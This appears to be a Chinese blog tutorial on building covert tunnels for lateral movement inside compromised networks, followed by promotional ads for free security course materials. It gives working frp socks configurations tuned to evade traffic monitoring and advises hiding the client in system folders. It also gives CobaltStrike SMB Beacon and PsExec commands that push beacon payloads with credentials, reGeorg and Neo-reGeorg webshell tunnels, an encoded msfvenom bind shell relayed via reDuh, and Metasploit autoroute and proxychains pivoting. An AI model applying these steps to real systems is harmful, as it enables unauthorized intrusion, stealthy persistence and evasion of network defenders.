在内网渗透时，一个WebShell或CobaltStrike、Metasploit上线等，只是开端，更多是要内网横向移动，扩大战果，打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”，才能进一步攻击。可实战中因为网络环境不同，所利用的方式就不同。
本文内容按以下思维导图展开
这是实战中最愿意碰到的网络环境，目标机可以正常访问互联网，可直接在目标机挂socks代理或CobaltStrike上线，打通目标的内网通道。
frp服务端配置文件
[common]
bind_port = 8080
frp客户端配置文件
[common]
server_addr = xx.xx.xx.xx
server_port = 8080
#服务端口使用Web常见端口
[socks5]
type = tcp
remote_port = 8088
plugin = socks5
use_encryption = true
use_compression = true
#socks5口令
#plugin_user = SuperMan
#plugin_passwd = XpO2McWe6nj3
此处添加了加密压缩这两个功能，默认是不开启的，根据作者介绍，压缩算法使用的是 snappy。
use_encryption = true 启用加密 [通信内容加密传输，有效防止流量被拦截]
use_compression = true 启用压缩 [传输内容进行压缩，有效减小传输的网络流量，加快流量转发速度，但会额外消耗一些CPU资源]
use_encryption = true 、use_compression = true 必须放在相关协议下面。
frp客户端与配置文件传到目标机后，把程序名与配置文件进行修改，并放在系统相关文件夹中，做到隐蔽
setg Proxies socks5:xxx.xxx.xxx.xxx:8088
加密压缩的对比
这是frp客户端配置文件中未使用 encryption 与 compression 功能，利用metasploit挂socks代理，扫描ms17_010传输的数据包，明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备，就会被监测到，导致权限丢失。
使用 encryption 与 compression 功能后，虽攻击源地址同样会暴露，但传输的数据包却无法辨别，规避了内网中的安全监测设备
到已控目标机的Beacon下将socks代理开启
beacon > socks 1024 #端口根据VPS实际情况进行设置
菜单栏中的 View > Proxy Pivots ，复制代理连接到Metasploit中，或直接将socks4a挂在相关安全工具中。
这是link链接，只要主链路(出网机Beacon)掉线，均掉！
官方对SMB Beacon的介绍：SMB Beacon是使用命名管道通过父级Beacon进行通讯，当两个Beacons链接后，子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB Beacon相对隐蔽。
创建一个SMB的Listener (host与port可无视)，注意Listener选择，在session中选择route可达的主机派生会话。
（在Listner生成SMB Beacon>目标主机>右键> spawn as>选中对应的Listener>上线）
运行成功后，可以看到 ∞∞ 这个字符，这就是派生SMB Beacon的连接状态。
可在主Beacon上用link host链接或unlink host断开。
beacon> link 192.168.144.155
beacon> unlink 192.168.144.155
在已上线的主机创建Listener。
导出该类型Listener对应的可执行文件或dll等。
选择刚建立的Listener。
上传刚才生成的payload到当前已上线的目标机中，这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大)
在Beacon中使用PsExec工具将payload上传到不出网的目标机中，自动执行，上线。
beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe
beacon> shell netstat -ano |findstr 4444
beacon> ssh 192.168.144.174:22 root admin
beacon> ssh 192.168.144.203:22 root admin
在Linux目标机中查看网络连接状态，实际是与之前已上线的Windows主机建立的连接。
目标机网络中可能有防火墙、网闸等，只允许http单向出，无法正常访问互联网，用上述socks方法是行不通的，只能用http代理进行渗透。
python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080
利用metasploit挂reGeorg socks代理，扫描ms17_010传输的数据包，明显可辨别攻击行为。
python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx
使用Neo-reGeorg后，数据包已被加密传输。
冰蝎的数据包传输是加密的，本身也具备socks代理功能，但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞，结果显示不存在。当不设置代理探测时，实际漏洞是存在的。
虽然冰蝎的这种代理扫描方式不如reGeorg准确，但小线程的端口探测等是可行的，如 auxiliary/scanner/portscan/tcp。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。
reduh使用：https://blog.csdn.net/nzjdsds/article/details/82930774
当目标服务器中间件等服务版本较低，reGeorg或冰蝎马等无法正常解析，就需要换用其它的http代理脚本。这是某实战中遇到的环境：
这里以reduh为例，虽然只能对指定的端口进行转发 (不适用图形化连接操作)，但可以先利用msfvenom生成正向的shell payload，再结合reduh单端口转发，上线metasploit，最后利用socks4a模块开代理。
下面把具体的流程走一遍：
sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe
#–platform 指定payload的目标平台
#-e, --encoder 指定需要使用的编码器
#-i, --iterations 指定payload的编码次数
上传payload到目标服务器，并执行。
metasploit是监听转发后的地址与端口。
sudo msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/shell_bind_tcp
msf5 exploit(multi/handler) > set rhost 127.0.0.1
msf5 exploit(multi/handler) > set lport 5353
msf5 exploit(multi/handler) > run -j
java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx
telnet 127.0.0.1 1010
[createTunnel]5353:127.0.0.1:53
可在metasploit渗透，或开启一个socks4a，挂载其他安全工具上继续渗透。
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 10080
msf5 auxiliary(server/socks4a) > run -j
注意
为什么payload要用shell，而不用meterpreter。meterpreter是高级的payload，传输中占用大量数据包，这种单端口转发上线metasploit，本就不是很稳定，meterpreter会使“小水管”更加不稳定！
内网渗透中，会遇到隔离网络，更多时候是逻辑上的隔离，突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限，建立一层二级代理、三级代理…
现拿到一台双网卡内网服务器权限，可以用frp建立通道，这台服务器既是服务端也是客户端。
(具体，参考https://www.cnblogs.com/PANDA-Mosen/p/13096260.html）
用frp建立好后，结合proxifier添加两条代理：外网socks、内网socks，之后创建代理链 。(注意代理顺序)
设置代理规则，选择对应代理。
二层代理成功，内网隔离机445探测开放。
命令行代理神器proxychains，设置二层代理、socks口令。(注意代理顺序)
联动metasploit，ms17_010探测，可以看到代理链的传输过程。
针对metasploit的利用，只要sessions中的route可达，就可以直接进行多层网络渗透，更加方便。但主session掉，均掉！
在获取目标一个sessions 后，可以查看IP段信息并自动添加路由表。
msf5 exploit(multi/handler) > sessions 1
meterpreter > run get_local_subnets
meterpreter > run autoroute -p
meterpreter > run post/multi/manage/autoroute
meterpreter > run autoroute -p
meterpreter > background
上述是在meterpreter权限中添加，或当知道目标路由表信息时，可直接添加。
msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1
msf5 exploit(multi/handler) > route
可在metasploit继续渗透，或开启一个socks，挂载其他工具上多层穿透。
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run -j
然后打开/etc/proxychains.conf
为了帮助大家更好的学习网络安全，小编给大家准备了一份网络安全入门/进阶学习资料，里面的内容都是适合零基础小白的笔记和资料，不懂编程也能听懂、看懂，所有资料共282G，朋友们如果有需要全套网络安全入门+进阶学习资源包，可以 点击免费领取 （如遇扫码问题，可以在评论区留言领取哦）~
????有需要的小伙伴，可以 点击下方链接免费领取 或者 V扫描下方二维码免费领取 ????
???? ????
网络安全源码合集+工具包
网络安全面试题
最后就是大家最关心的网络安全面试题板块
视频配套资料&国内外网安书籍、文档
????有需要的小伙伴，可以 点击下方链接免费领取 或者 V扫描下方二维码免费领取 ????
???? ????